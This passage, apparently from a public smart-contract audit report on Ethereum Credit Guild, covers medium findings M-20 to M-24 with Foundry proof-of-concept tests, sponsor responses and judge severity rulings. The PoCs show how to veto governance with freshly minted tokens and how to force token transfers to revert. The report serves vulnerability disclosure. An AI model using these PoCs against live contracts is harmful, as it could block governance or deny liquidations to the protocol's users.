    }
}

An early check can be implemented to identify whether or not the gauge is currently using its full debt allocation. This check must be done before the gaugeWeight is adjusted. If the current gauge, given its current gaugeWeight, is utilizing its full debt allocation, then any attempt to unstake any amount of Guild should revert early.

eswak (Ethereum Credit Guild) confirmed and commented:

Confirming this, thanks a lot for the quality of the report!


[M-20] Inability to offboard term twice in a 7-day period may lead to bad debt to the market

Submitted by santipu_

In Ethereum Credit Guild, when a LendingTerm is considered too risky, its GUILD voters are incentivized to offboard that term via the LendingTermOffboarding contract. This mechanism is designed to be a fast and secure way to remove a LendingTerm from a market before it accrues bad debt.

Each time that GUILD voters want to offboard a term, someone will have to call proposeOffboard() in order to start a poll. The other voters will have the ability to support this poll by calling supportOffboard(). As soon as the votes reach to a quorum, the offboard() function will have to be called to remove that term from the market and allow all loans from that term to be called.

The poll for offboarding a term has a max duration of 7 days, this restriction is enforced on proposeOffboard():

    require(
        block.number > lastPollBlock[term] + POLL_DURATION_BLOCKS,
        "LendingTermOffboarding: poll active"
    );

This check will enforce that nobody can propose the offboarding of a LendingTerm twice in a 7-day period.

Given that the system allows for re-onboarding terms, it’s possible that a LendingTerm can be offboarded and re-onboarded in less than 7 days. In such case, if market conditions turn adverse, the GUILD voters won’t be able to offboard the same term for a second time; therefore, allowing for bad debt to be created and impact all the market.

It’s not unfeasible to assume this situation can occur in a future given that the protocol aims for supporting thousands of terms in a market, as it’s stated in the docs:

Major lending pools today support at most a few dozen unique loan terms, the Credit Guild is intended to support thousands […]

Impact

GUILD voters won’t be able to offboard the same term twice in a 7-day window period and that will lead to bad debt that will impact all the market and its voters. In the scenario where loans start to default, all voters for that term will be slashed and the CREDIT token of that market will experience losses.

Proof of Concept

The following coded POC can be pasted in LendingTermOffboarding.t.sol. The test can be run with the command: forge test --match-test testCannotOffboardTwiceIn7Days:

function testCannotOffboardTwiceIn7Days() public {
    // Offboard term
    guild.mint(bob, _QUORUM);
    vm.startPrank(bob);
    guild.delegate(bob);
    uint256 snapshotBlock = block.number;
    offboarder.proposeOffboard(address(term));
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);
    offboarder.supportOffboard(snapshotBlock, address(term));
    offboarder.offboard(address(term));

    // Get enough CREDIT to pack back interests
    vm.stopPrank();
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);
    uint256 debt = term.getLoanDebt(aliceLoanId);
    credit.mint(alice, debt - aliceLoanSize);

    // Close loans and cleanup
    vm.startPrank(alice);
    credit.approve(address(term), debt);
    term.repay(aliceLoanId);
    vm.stopPrank();
    offboarder.cleanup(address(term));

    // After ~5 days @ 13s/block...
    vm.roll(block.number + 33230);
    vm.warp(block.timestamp + 5 days);

    // Re-onboard
    guild.addGauge(1, address(term));

    // After ~1 day...
    vm.roll(block.number + 6646);
    vm.warp(block.timestamp + 1 days);

    // It's not possible to offboard a second time
    vm.expectRevert("LendingTermOffboarding: poll active");
    offboarder.proposeOffboard(address(term));   
}

It’s recommended to modify the check in proposeOffboard() in order to allow a second offboarding of a term if the previous offboarding is already complete.

As a potential solution, consider adding a mapping isPollCompleted[term] that marks true when the quorum is reached for a certain poll on supportOffboard(). This could be the new check on proposeOffboard() to mitigate this issue:

    require(
-       block.number > lastPollBlock[term] + POLL_DURATION_BLOCKS,
+       block.number > lastPollBlock[term] + POLL_DURATION_BLOCKS || isPollCompleted[term],
        "LendingTermOffboarding: poll active"
    );

Assessed type

Timing

eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:

Confirming this is an issue, I think it is more fit for medium severity given the unlikeliness of the whole situation, but technically the code allows this path. I disagree with the proposed fix (that would allow proposing the offboarding without limits after a term has been offboarded once), but we can reset the lastPollBlock[term] storage variable upon successful offboarding.

TrungOre (judge) decreased severity to Medium


[M-21] RateLimitedMinter isn’t used by SimplePSM resulting in Governance attacks

Submitted by critical-or-high

The following contracts in the protocol doesn’t use RateLimitedMinter:

  • SimplePSM (actually, it imports but never uses RateLimitedMinter).
  • ProfitManager

For the SimplePSM case, it leads to governance attacks. An attacker with a sufficient USDC balance can exploit this by minting an unlimited amount of gUSDC tokens in SimplePSM using USDC, bypassing the protocol’s safety parameters (1, 2, 3). This allows the attacker to propose or veto certain actions, compromising the governance process.

In the ProfitManager contract, the notifyPnL() function burns credit tokens, but the RateLimitedMinter buffer is never replenished (ProfitManager doesn’t use rate limiter). On the other hand, the LendingTerm contract uses the RateLimitedMinter for minting credit tokens, resulting in the depletion of its buffer over time. This can lead to a shortage of tokens in the RateLimitedMinter buffer of LendingTerm contracts at some point.

Proof of Concept

  1. The GuildVetoGovernor contract allows to veto and cancel action in the queue by voting with gUSDC tokens. A quorum of 5 million gUSDC is required.
  2. Alice possesses 6 million USDC tokens. She takes advantage of the fact that the PSM contract does not utilize a rate limiter and mints 6 million gUSDC tokens in the PSM contract.
  3. Alice then utilizes her newly acquired gUSDC tokens to vote in the GuildVetoGovernor contract and cancel any action in the queue.
  4. Alice can do minting and voting swiftly. In that case ProfitManager.creditMultiplier doesn’t decline. This would allow Alice to redeem her 6 million USDC tokens back without any consequences.
    // SPDX-License-Identifier: GPL-3.0-or-later
    pragma solidity 0.8.13;

    import {Test} from "@forge-std/Test.sol";
    import {Core} from "@src/core/Core.sol";
    import {CoreRoles} from "@src/core/CoreRoles.sol";
    import {MockERC20} from "@test/mock/MockERC20.sol";
    import {SimplePSM} from "@src/loan/SimplePSM.sol";
    import {GuildToken} from "@src/tokens/GuildToken.sol";
    import {CreditToken} from "@src/tokens/CreditToken.sol";
    import {ProfitManager} from "@src/governance/ProfitManager.sol";
    import {ProfitManager} from "@src/governance/ProfitManager.sol";
    import {MockLendingTerm} from "@test/mock/MockLendingTerm.sol";

    import {IGovernor} from "@openzeppelin/contracts/governance/IGovernor.sol";
    import {GuildVetoGovernor} from "@src/governance/GuildVetoGovernor.sol";
    import {GuildTimelockController} from "@src/governance/GuildTimelockController.sol";

    import "@forge-std/console.sol";

    contract Poc4 is Test {
        Core private core;
        ProfitManager private profitManager;
        CreditToken credit;
        GuildToken guild;
        MockERC20 private pegToken;
        SimplePSM private psm;

        uint256 private constant _TIMELOCK_MIN_DELAY = 12345;

        GuildTimelockController private timelock;
        GuildVetoGovernor private vetoGovernor;

        uint256 __lastCallValue = 0;

        // From deployment script!
        
        uint256 private constant _VETO_QUORUM = 5_000_000e18;

        function setUp() public {
            vm.warp(1679067867);
            vm.roll(16848497);
            core = new Core();
            profitManager = new ProfitManager(address(core));
            credit = new CreditToken(address(core), "gUSDC", "gUSDC");
            guild = new GuildToken(address(core), address(profitManager));
            pegToken = new MockERC20(); // USDC
            pegToken.setDecimals(6);
            psm = new SimplePSM(
                address(core),
                address(profitManager),
                address(credit),
                address(pegToken)
            );

            timelock = new GuildTimelockController(
                address(core),
                _TIMELOCK_MIN_DELAY
            );

            // VetoGovernor for gUSDC
            vetoGovernor = new GuildVetoGovernor(
                address(core),
                address(timelock),
                address(credit),
                _VETO_QUORUM // 5Mil gUSDC
            );

            core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
            core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
            core.grantRole(CoreRoles.CREDIT_GOVERNANCE_PARAMETERS, address(this));

            core.createRole(CoreRoles.TIMELOCK_EXECUTOR, CoreRoles.GOVERNOR);
            core.grantRole(CoreRoles.TIMELOCK_EXECUTOR, address(0));
            core.createRole(CoreRoles.TIMELOCK_CANCELLER, CoreRoles.GOVERNOR);
            core.grantRole(CoreRoles.TIMELOCK_CANCELLER, address(vetoGovernor));
            core.createRole(CoreRoles.TIMELOCK_PROPOSER, CoreRoles.GOVERNOR);
            core.grantRole(CoreRoles.TIMELOCK_PROPOSER, address(this));

            core.renounceRole(CoreRoles.GOVERNOR, address(this));

            credit.setMaxDelegates(1);
        }

        function __dummyCall(uint256 val) external {
            __lastCallValue = val;
        }

        function _queueDummyTimelockAction(
            uint256 number
        ) internal returns (bytes32) {
            address[] memory targets = new address[](1);
            targets[0] = address(this);
            uint256[] memory values = new uint256[](1);
            bytes[] memory payloads = new bytes[](1);
            payloads[0] = abi.encodeWithSelector(
                Poc4.__dummyCall.selector,
                number
            );
            bytes32 predecessor = bytes32(0);
            bytes32 salt = keccak256(bytes("dummy call"));
            timelock.scheduleBatch(
                targets,
                values,
                payloads,
                predecessor,
                salt,
                _TIMELOCK_MIN_DELAY
            );
            bytes32 timelockId = timelock.hashOperationBatch(
                targets,
                values,
                payloads,
                0,
                salt
            );

            return timelockId;
        }

        function test_poc() public {
            address Alice = address(100);

            // Schedule an action in the timelock, Alice will veto it.
            bytes32 timelockId = _queueDummyTimelockAction(12345);

            // Afluent Alice has 6Mil of USDC and mints gUSDC in PSM
            // PSM isn't rate-limited (there is no cap)!
            pegToken.mint(Alice, 6_000_000e6);
            vm.startPrank(Alice);
            pegToken.approve(address(psm), 6_000_000e6);
            psm.mint(Alice, 6_000_000e6);
            
            // Alice has enough voting power!
            require(credit.balanceOf(Alice) > vetoGovernor.quorum(0));

            credit.delegate(Alice);

            // Alice creates a Veto proposal
            uint256 proposalId = vetoGovernor.createVeto(timelockId);

            vm.roll(block.number + 1);
            vm.warp(block.timestamp + 10);

            // Alice cast a vote against
            vetoGovernor.castVote(proposalId, uint8(GuildVetoGovernor.VoteType.Against));

            vm.roll(block.number + 1);
            vm.warp(block.timestamp + 10);

            (
                uint256 againstVotes,
                uint256 forVotes,
                uint256 abstainVotes
            ) = vetoGovernor.proposalVotes(
                proposalId
            );

            // There is a Quorum, Alice can execute Veto proposal
            require(againstVotes > vetoGovernor.quorum(0));

            vetoGovernor.executeVeto(timelockId);

            vm.stopPrank();
        }
    }

Put the Poc inside the test/unit/governance/Poc4.t.sol file and run it with the following command:

forge test --mp test/unit/governance/Poc4.t.sol --mt test_poc

Use rate limiter across all contracts in the protocol when minting or burning Credit and Guild tokens.

Assessed type

Governance

eswak (Ethereum Credit Guild) acknowledged, but disagreed with severity and commented:

SimplePSM imports but never uses RateLimitedMinter.

Thanks for pointing out this unused import, it has been removed. To give context: we removed the use of rate limits in the PSM, because it opened a griefing vector for borrowers : before a term goes into liquidations, borrowers could borrow and deplete the buffer, preventing new PSM mints. Then nobody could mint fresh gUSDC in the PSM to bid in the auctions, and auctions could be forced into reporting bad debt (due to no one being able to hold gUSDC and bid).

The RateLimitedMinter’s hardCap only applies to borrows, so indeed there could be $10M of borrows in the system but $20M deposited by lenders in the PSM (leading to a 2x lower APR for depositors than what is paid by lenders), but that is the intended behavior and what allows the protocol to grow (redeemable tokens in the PSM is what invites new borrowers).

USDC depositors in the PSM can only veto new changes in a given market, they can not propose new changes or prevent a safe wind down of the market.

The ProfitManager does not replenish the buffer and that may be a low/QA finding, I’m not sure that needs a fix as this is only relating to the surplus buffer (that is expected to be small relative to the supply cap, because it is a percent of the percent of interest paid over time by the borrowed supply, and the buffer replenish speed is not expected to stay 0 for a long time on the credit token).

The finding states that Alice can mint in the PSM and participate in the veto process, then redeem swiftly before creditMultiplier goes down, but she essentially becomes a lender in the meantime and her USDC can be redeemed against by borrowers, and she could end up ‘stuck’ with her gUSDC. Perhaps the fact that the veto process is fast (Alice could be holding gUSDC for as low as 2 blocks) is a problem and the commitment is not enough and some kind of lock up should be added. I’ll mention my colleague @OneTrueKirk so he can weigh in on that.

In any case, I am disagreeing with the severity (no user funds are at risk when someone decides to veto all changes on a given market).

OneTrueKirk (Ethereum Credit Guild) commented:

I agree with Erwan’s assessment that the issue should be marked as medium rather than high, since no user funds can be stolen and only updates can be halted with a lower capital cost than intended by the quorum threshold. Lockup appears to be an effective mitigation.

TrungOre (judge) decreased severity to Medium

Blckhv (warden) commented:

@TrungOre - Even if such a user manages to execute such an attack and onboard a malicious term, it can be resolved for a short amount of time by executing offboard proposal and restricting users from borrowing from this term.

Sponsors mentioned that the funds cannot be redeemed because users will borrow part of them if the term has favorable conditions.

Can you please recheck?

TrungOre (judge) commented:

@Blckhv - Regarding sponsor’s statement, only the part about malicious voting action is accepted as med severity.

Note: For full discussion, see here.


[M-22] LendingTerm inconsistency between debt ceiling as calculated in borrow() and debtCeiling()

Submitted by Byteblockers, also found by kaden

There is an inconsistency in the calculation of the debtCeiling between the borrow() function and the debtCeiling() function. This not only leads to operational discrepancies, but also impacts liquidity utilization. Specifically, the more restrictive debtCeiling in the borrow() function results in underutilized liquidity, which in turn could lead to missed profit opportunities for lenders.

Proof of Concept

There is an inconsistency in the way borrow() calculates a much smaller value for debtCeiling than the actual debtCeiling() function. This renders this check useless, since borrow prevents issuance from going even close to the actual debt ceiling.

uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
require(issuance <= debtCeilingAfterDecrement, "GuildToken: debt ceiling used");

Let’s take the parameters below to illustrate the issue and follow along the two calculations:

Parameter Value
Issuance 20,000
Total Borrowed Credit 70,000 (5k when we call borrow + 65k old loans)
Total Weight 100,000
Gauge Weight 50,000
Gauge Weight Tolerance 60% (1.2e18)

1. borrow() function’s calculation method:

This function calculates the debtCeiling using a simpler formula:

Note: For the provided formula, please see the original submission contents here.

  • Applying the provided parameters (Gauge Weight: 50,000, Total Borrowed Credit: 70,000, Total Weight: 100,000, and Weight Tolerance: 1.2), the resulting debtCeiling is 42,000.

2. debtCeiling() function’s calculation method:

The formula used here is more complex so we will it break it down below:

Note: For the provided formula, please see the original submission contents here.

This method involves several intermediate steps to arrive at the debtCeiling. The process includes:

  • Calculating the tolerated gauge weight.
  • Determining the initial debt ceiling before any new borrowings.
  • Computing the remaining debt ceiling after factoring in current issuance.
  • Establishing the weight of other gauges.
  • Determining the maximum borrowable amount.
  • Adding the current issuance to the maximum borrow to get the final debtCeiling.

toleratedGaugeWeight

Note: For the provided formula, please see the original submission contents here.

debtCeilingBefore

Note: For the provided formula, please see the original submission contents here.

remainingDebtCeiling

Note: For the provided formula, please see the original submission contents here.

otherGaugesWeight

Note: For the provided formula, please see the original submission contents here.

maxBorrow

Note: For the provided formula, please see the original submission contents here.

debtCeiling

Note: For the provided formula, please see the original submission contents here.

With the same parameters, this method results in a debtCeiling of 75,000.

The lower debtCeiling set by the borrow() function (42,000) significantly restricts the amount that can be borrowed compared to what is actually permissible as per the debtCeiling() function (75,000).

This discrepancy leads to a situation where a portion of the liquidity remains unused. In a lending scenario, unused liquidity equates to lost income opportunities for lenders, as these funds are not being loaned out and thus not generating interest.

Unify the debtCeiling calculation method which is used across the protocol.

Assessed type

Error

eswak (Ethereum Credit Guild) confirmed


[M-23] Rounding errors can cause ERC20RebaseDistributor transfers and mints to fail for underflow

Submitted by 3docSec, also found by ether_sky

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L618

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L531

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L594

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L688

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L712

Vulnerability details

When calculating share changes during ERC20RebaseDistributor token transfers, the logic computes the share delta as follows:

File: ERC20RebaseDistributor.sol
553:     function transfer(
554:         address to,
555:         uint256 amount
556:     ) public virtual override returns (bool) {
---
603:         if (rebasingStateTo.isRebasing == 1) {
---
618:             uint256 sharesReceived = toSharesAfter - rebasingStateTo.nShares;

It is possible that due to rounding, rebasingStateTo.nShares is higher than toSharesAfter by 1 wei, causing the transfer to fail.

A similar issue can happen when unminted rewards are taken off the rebase pool:

File: ERC20RebaseDistributor.sol
228:     function decreaseUnmintedRebaseRewards(uint256 amount) internal {
229:         InterpolatedValue memory val = __unmintedRebaseRewards;
230:         uint256 _unmintedRebaseRewards = interpolatedValue(val);
231:         __unmintedRebaseRewards = InterpolatedValue({
232:             lastTimestamp: SafeCastLib.safeCastTo32(block.timestamp), // now
233:             lastValue: SafeCastLib.safeCastTo224(
234:                 _unmintedRebaseRewards - amount
235:             ), // adjusted current
236:             targetTimestamp: val.targetTimestamp, // unchanged
237:             targetValue: val.targetValue - SafeCastLib.safeCastTo224(amount) // adjusted target
238:         });
239:     }

Here it is possible that the amount is higher than _unmintedRebaseRewards, introducing also in this place a revert condition.

Impact

Transfers and mints from or towards addresses that are rebasing may fail in real-world scenarios. This failure can be used as a means to DoS sensitive operations like liquidations. Addresses who enter this scenario aren’t also able to exit rebase to fix their transfers.

Proof of Concept

Below a foundry PoC (full setup here) which shows a scenario where a transfer (or mint) to a rebasing user can fail by underflow on the _unmintedRebaseRewards - amount operation:

    function testM2bis() external {
        uint t0 = block.timestamp;

        // set up the credit token with the minimum 100e18 rebasing supply
        // as indicated here -> 
        
        ct.mint(address(1), 100e18);
        vm.prank(address(1));
        ct.enterRebase();
        
        ct.mint(address(2), 6e11); vm.prank(address(2)); ct.distribute(6e11);
        vm.warp(2);
        ct.mint(address(2), 3e12); vm.prank(address(2)); ct.distribute(3e12);
        vm.warp(3);
        
        ct.mint(address(3), 1e20);
        vm.prank(address(3));

        // ☢️ this shouldn't revert!
        vm.expectRevert();
        ct.transfer(address(1), 1e20);

        // ☢️ this shouldn't either!
        vm.expectRevert();
        ct.mint(address(1), 1e20);

        // ☢️ this too..
        vm.prank(address(1));
        vm.expectRevert();
        ct.exitRebase();

        // ☢️ same here...
        vm.startPrank(address(1));
        vm.expectRevert();
        ct.transfer(address(3), 1e20);

        // ☢️ I bet you saw this coming...
        ct.approve(address(3), 1e20);
        vm.startPrank(address(3));
        vm.expectRevert();
        ct.transferFrom(address(1), address(3), 1e20);
    }

This is with a lower impact because involving a zero-value transfer, the following PoC in Foundry (the full runnable test can be found here) shows a transfer failing on the toSharesAfter - rebasingStateTo.nShares operation:

    function testM2() external {
        address from = address(uint160(1));
        address to = address(uint160(2));

        ct.mint(to, 100 ether);

        vm.startPrank(to);
        ct.enterRebase();
        ct.distribute(1 ether);

        vm.warp(block.timestamp + 1);
        vm.startPrank(from);

        vm.expectRevert();
        ct.transfer(to, 0);

        vm.expectRevert();
        ct.transferFrom(from, to, 0);
    }

Tools Used

Foundry

Consider adapting shares calculations to tolerate rounding fluctuations, i.e. by flooring to 0 the mentioned subtractions.

Assessed type

Token-Transfer

eswak (Ethereum Credit Guild) confirmed

Soul22 (warden) commented:

After carefully reviewing the report and discussing it with other auditors, I believe that the severity of this issue should be reassessed.

The problem is that division rounds down and more divisions result in greater precision loss. Specifically, in this report, the calculation of toSharesAfter involves three divisions, which results in underflow during the subsequent subtraction. It is important to note that the underflow issue in the provided POC above is temporary and only lasts for 31 seconds. After this time, the transfer() and mint() functions will work as expected.

Proof of Concept

The variable toSharesAfter is determined by this formula:

    uint256 toSharesAfter = _balance2shares(toBalanceAfter, _rebasingSharePrice);

    function _balance2shares(
        uint256 balance,
        uint256 sharePrice
    ) internal pure returns (uint256) {
        return (balance * START_REBASING_SHARE_PRICE) / sharePrice;
    }

The toBalanceAfter variable is determined by this formula:

    uint256 rawToBalanceAfter = ERC20.balanceOf(to);
    uint256 toBalanceAfter = _shares2balance(
         rebasingStateTo.nShares,
         _rebasingSharePrice,
         amount,
         rawToBalanceAfter
     );

The toBalanceAfter variable depends on _rebasingSharePrice, which means that toSharesAfter also heavily relies on it.

It is important to note that the _rebasingSharePrice variable is not a constant and it is increased linearly.

       uint256 _rebasingSharePrice =  (rebasingStateFrom.isRebasing == 1 || rebasingStateTo.isRebasing == 1)
                                        ? rebasingSharePrice()
                                        : 0; // only SLOAD if at least one address is rebasing
       
       function rebasingSharePrice() public view returns (uint256) {
          return interpolatedValue(__rebasingSharePrice);
       }
  
        function interpolatedValue(
            InterpolatedValue memory val
        ) internal view returns (uint256) {
            // load state
            uint256 lastTimestamp = uint256(val.lastTimestamp); // safe upcast
            uint256 lastValue = uint256(val.lastValue); // safe upcast
            uint256 targetTimestamp = uint256(val.targetTimestamp); // safe upcast
            uint256 targetValue = uint256(val.targetValue); // safe upcast
    
            // interpolate increase over period
            if (block.timestamp >= targetTimestamp) {
                // if period is passed, return target value
                return targetValue;
            } else {
                // block.timestamp is within [lastTimestamp, targetTimestamp[
                uint256 elapsed = block.timestamp - lastTimestamp;
                uint256 delta = targetValue - lastValue;
                return lastValue + (delta * elapsed) / (targetTimestamp - lastTimestamp);//note linear unlock
            }
        }

Next, we determine the amount of time needed for the rounding error to disappear. The result is 31 seconds.

Please add the following test to the CreditToken.t.sol file and run it using the command forge test --mc CreditTokenUnitTest --mt test_issue294.

    function test_issue294() public {
        // create/grant role
        vm.startPrank(governor);
        core.createRole(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(this));
        vm.stopPrank();

        token.mint(address(1), 100e18);
        vm.prank(address(1));
        token.enterRebase();

        token.mint(address(2), 6e11);
        vm.prank(address(2));
        token.distribute(6e11);
        vm.warp(block.timestamp + 2 seconds);

        token.mint(address(2), 3e12);
        vm.prank(address(2));
        token.distribute(3e12);
        vm.warp(block.timestamp + 31 seconds); //note wait for 31 seconds

        token.mint(address(3), 1e20);
        vm.startPrank(address(3));
        // this works
        // vm.expectRevert();
        token.transfer(address(1), 1e20);
        vm.stopPrank();

        // this works
        // vm.expectRevert();
        token.mint(address(1), 1e20);

        // this works
        vm.startPrank(address(1));
        // vm.expectRevert();
        token.exitRebase();
        vm.stopPrank();

        // this works
        vm.startPrank(address(1));
        // vm.expectRevert();
        token.transfer(address(3), 1e20);

        // this works
        token.approve(address(3), 1e20);
        vm.startPrank(address(3));
        // vm.expectRevert();
        token.transferFrom(address(1), address(3), 1e20);
        vm.stopPrank();
    }

3docSec (warden) commented:

@Soul22 - while the attack in the PoC is temporary, new small-amount distributions (which are permissionless) with appropriate timing and amounts can be made to make the DoS last longer.

Soul22 (warden) commented:

Upon further investigation, I found that if we remove the vm.warp(block.timestamp + 2 seconds); statement, then the underflow disappears immediately.

    function test_issue294_removeVmWarp() public {
        // create/grant role
        vm.startPrank(governor);
        core.createRole(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(this));
        vm.stopPrank();

        token.mint(address(1), 100e18);
        vm.prank(address(1));
        token.enterRebase();

        token.mint(address(2), 6e11);
        vm.prank(address(2));
        token.distribute(6e11);
        // vm.warp(block.timestamp + 2 seconds);

        token.mint(address(2), 3e12);
        vm.prank(address(2));
        token.distribute(3e12);
        // vm.warp(block.timestamp + 31 seconds); //note no need to wait anymore

        token.mint(address(3), 1e20);
        vm.startPrank(address(3));
        // this works
        // vm.expectRevert();
        token.transfer(address(1), 1e20);
        vm.stopPrank();

        // this works
        // vm.expectRevert();
        token.mint(address(1), 1e20);

        // this works
        vm.startPrank(address(1));
        // vm.expectRevert();
        token.exitRebase();
        vm.stopPrank();

        // this works
        vm.startPrank(address(1));
        // vm.expectRevert();
        token.transfer(address(3), 1e20);

        // this works
        token.approve(address(3), 1e20);
        vm.startPrank(address(3));
        // vm.expectRevert();
        token.transferFrom(address(1), address(3), 1e20);
        vm.stopPrank();
    }

TrungOre (judge) commented:

Although the likelihood is low, the impact of this issue is significant since it can brick Credit token’s minting and transferring, potentially preventing users from unstaking from SurplusGuildMinter in certain cases. The duration of the Denial of Service (DoS) attack is temporary, but users may not be able to unstake promptly to avoid being slashed in SurplusGuildMinter. Therefore, medium severity is appropriate.


[M-24] ProfitManager’s creditMultiplier calculation does not count undistributed rewards; this can cause value losses to users

Submitted by 3docSec, also found by aslanbek, rvierdiiev, btk, and ether_sky

The function notifyPnL in ProfitManager is called by LendingTerms when a loan is closed to report a profit or loss.

In case there is a loss, the amount in excess of the protocol’s buffer is attributed to the credit token holders. This is done by slashing the creditMultiplier with the effect of depreciating the credit token relatively to the collateral.

The math for slashing the creditMultiplier is the following:

File: ProfitManager.sol
292:     function notifyPnL(
293:         address gauge,
294:         int256 amount
295:     ) external onlyCoreRole(CoreRoles.GAUGE_PNL_NOTIFIER) {
---
330:                 // update the CREDIT multiplier
331:                 uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
332:                 uint256 newCreditMultiplier = (creditMultiplier *
333:                     (creditTotalSupply - loss)) / creditTotalSupply;
334:                 creditMultiplier = newCreditMultiplier;

It is particularly interesting that totalSupply() is used, since in a similar high-level accounting calculation, totalBorrowedCredit(), targetTotalSupply() is used instead:

File: ProfitManager.sol
172:     function totalBorrowedCredit() external view returns (uint256) {
173:         return
174:             CreditToken(credit).targetTotalSupply() -
175:             SimplePSM(psm).redeemableCredit();
176:     }

The usage of totalSupply() here can be problematic when a significant portion of the supply is in undistributed rewards. In this case, the creditMultiplier slashing will be higher than it should because totalSupply() will return a much lower value than targetTotalSupply().

Impact

creditMultiplier slashing will always be higher than it should for correct accounting, penalizing credit token holders, and finally locking value in the protocol. The negative effects will be proportional to the relative supply of credit tokens in undistributed rewards versus the interpolated supply of the credit token.

Proof of Concept

The following PoC in Foundry (full setup here) shows how an overshot creditMultiplier slashing locks collateral value in SimplePSM, with a net loss for protocol users, in a real-wold scenario:

    function testH2() external {
        uint ts = block.timestamp;

        // Set ProfitManager to 100% rewards for rebasing users
        pm.setProfitSharingConfig(
            0,          // surplusBufferSplit,
            1e18,       // creditSplit,
            0,          // guildSplit,
            0,          // otherSplit,
            address(0)  // otherRecipient
        );
        
        // User 1 deposit 3000 USDC in PSM, gets 3000 gUSDC, enters rebase
        address user1 = address(1);
        vm.startPrank(user1);

        coll.mint(user1, 3_000e18);
        coll.approve(address(sPsm), 3_000e18);
        sPsm.mintAndEnterRebase(3_000e18);

        // User 2 open Loan A, 1000 gUSDC, redeems for 1000 USDC
        address user2 = address(2);
        vm.startPrank(user2);

        coll.mint(user2, 1_000e18);
        coll.approve(address(lt), 1_000e18);
        bytes32 loanA = lt.borrow(1_000e18, 1_000e18);

        ct.approve(address(sPsm), 1_000e18);
        sPsm.redeem(user2, 1_000e18);

        // User 3 open Loan B, 1000 gUSDC, redeems for 1000 USDC
        address user3 = address(3);
        vm.startPrank(user3);

        coll.mint(user3, 1_000e18);
        coll.approve(address(lt), 1_000e18);
        bytes32 loanB = lt.borrow(1_000e18, 1_000e18);

        ct.approve(address(sPsm), 1_000e18);
        sPsm.redeem(user3, 1_000e18);

        // User 4 open Loan C, 1000 gUSDC, redeems for 1000 USDC
        address user4 = address(4);
        vm.startPrank(user4);

        coll.mint(user4, 1_000e18);
        coll.approve(address(lt), 1_000e18);
        bytes32 loanC = lt.borrow(1_000e18, 1_000e18);

        ct.approve(address(sPsm), 1_000e18);
        sPsm.redeem(user4, 1_000e18);

        // Time passes, all loans accrue 50% interest, loan B gets called
        ts += lt.YEAR() - 3 weeks;
        vm.warp(ts);
        lt.call(loanB);
        ts += 3 weeks;
        vm.warp(ts);

        // User 2 deposit 1500 USDC in PSM, gets 1500 gUSDC, and repay Loan A (500 profit) -> 1500 USDC in PSM
        vm.startPrank(user2);
        coll.mint(user2, 500e18);
        coll.approve(address(sPsm), 1500e18);
        sPsm.mint(user2, 1500e18);

        ct.approve(address(lt), 1500e18);
        lt.repay(loanA);

        // Now User 1's 3000 gUSDC balance is interpolating towards 3500 gUSDC
        assertEq(3_000e18, ct.totalSupply());
        assertEq(ct.totalSupply(), ct.balanceOf(user1));
        assertEq(3_500e18, ct.targetTotalSupply());

        // ---  Everything good till here; now we get to the bug:
        // User 3 completely defaults on Loan B, 1000 gUSDC loss is reported, 
        // creditMultiplier becomes 1e18 * (3000 - 1000) / 3000 = 0.6667e18
        // 🚨 if targetTotalSupply was used, this would be 1e18 * (3500 - 1000) / 3500 = 0.714285e18
        ah.forgive(loanB);
        assertApproxEqRel(pm.creditMultiplier(), 0.6667e18, 0.0001e18 /* 0.01% */);

        // User 4's Loan C now owes 1500 / 0.66667 = 2250 gUSDC
        uint loanCdebt = lt.getLoanDebt(loanC);
        assertApproxEqRel(loanCdebt, 2250e18, 0.0001e18 /* 0.01% */);

        // User 4 deposit 1500 USDC in PSM, gets 2250 gUSDC, and repay Loan C (750 profit) -> 3000 USDC in PSM
        vm.startPrank(user4);
        coll.mint(user4, 500e18);
        coll.approve(address(sPsm), 1500e18);
        sPsm.mint(user4, 1500e18);

        ct.approve(address(lt), loanCdebt);
        lt.repay(loanC);
        
        // Now User 1's 3000 gUSDC balance is interpolating towards 4250
        assertEq(3_000e18, ct.totalSupply());
        assertEq(ct.totalSupply(), ct.balanceOf(user1));
        assertApproxEqRel(4_250e18, ct.targetTotalSupply(), 0.0001e18 /* 0.01% */);

        // User 1 waits for the interpolation to end
        ts += ct.DISTRIBUTION_PERIOD();
        vm.warp(ts);

        // User 1 redeems 4250 gUSDC for 4250 * 0.66667 = 2833 USDC -> 167 USDC in PSM (🚨 there should be no leftover)
        vm.startPrank(user1);
        ct.approve(address(sPsm), ct.balanceOf(user1));
        sPsm.redeem(user1, ct.balanceOf(user1));

        assertApproxEqRel(2833.3e18, coll.balanceOf(user1), 0.0001e18 /* 0.01% */);

        // 🚨 this value remains locked in the SimplePSM contract as a result of the incorrect accounting
        assertApproxEqRel(166.66e18, coll.balanceOf(address(sPsm)), 0.0001e18 /* 0.01% */);

        // ℹ️ if ProfitManager used targetTotalSupply, the value locked would be ~2e4 lost to rounding
    }

Tools Used

Foundry

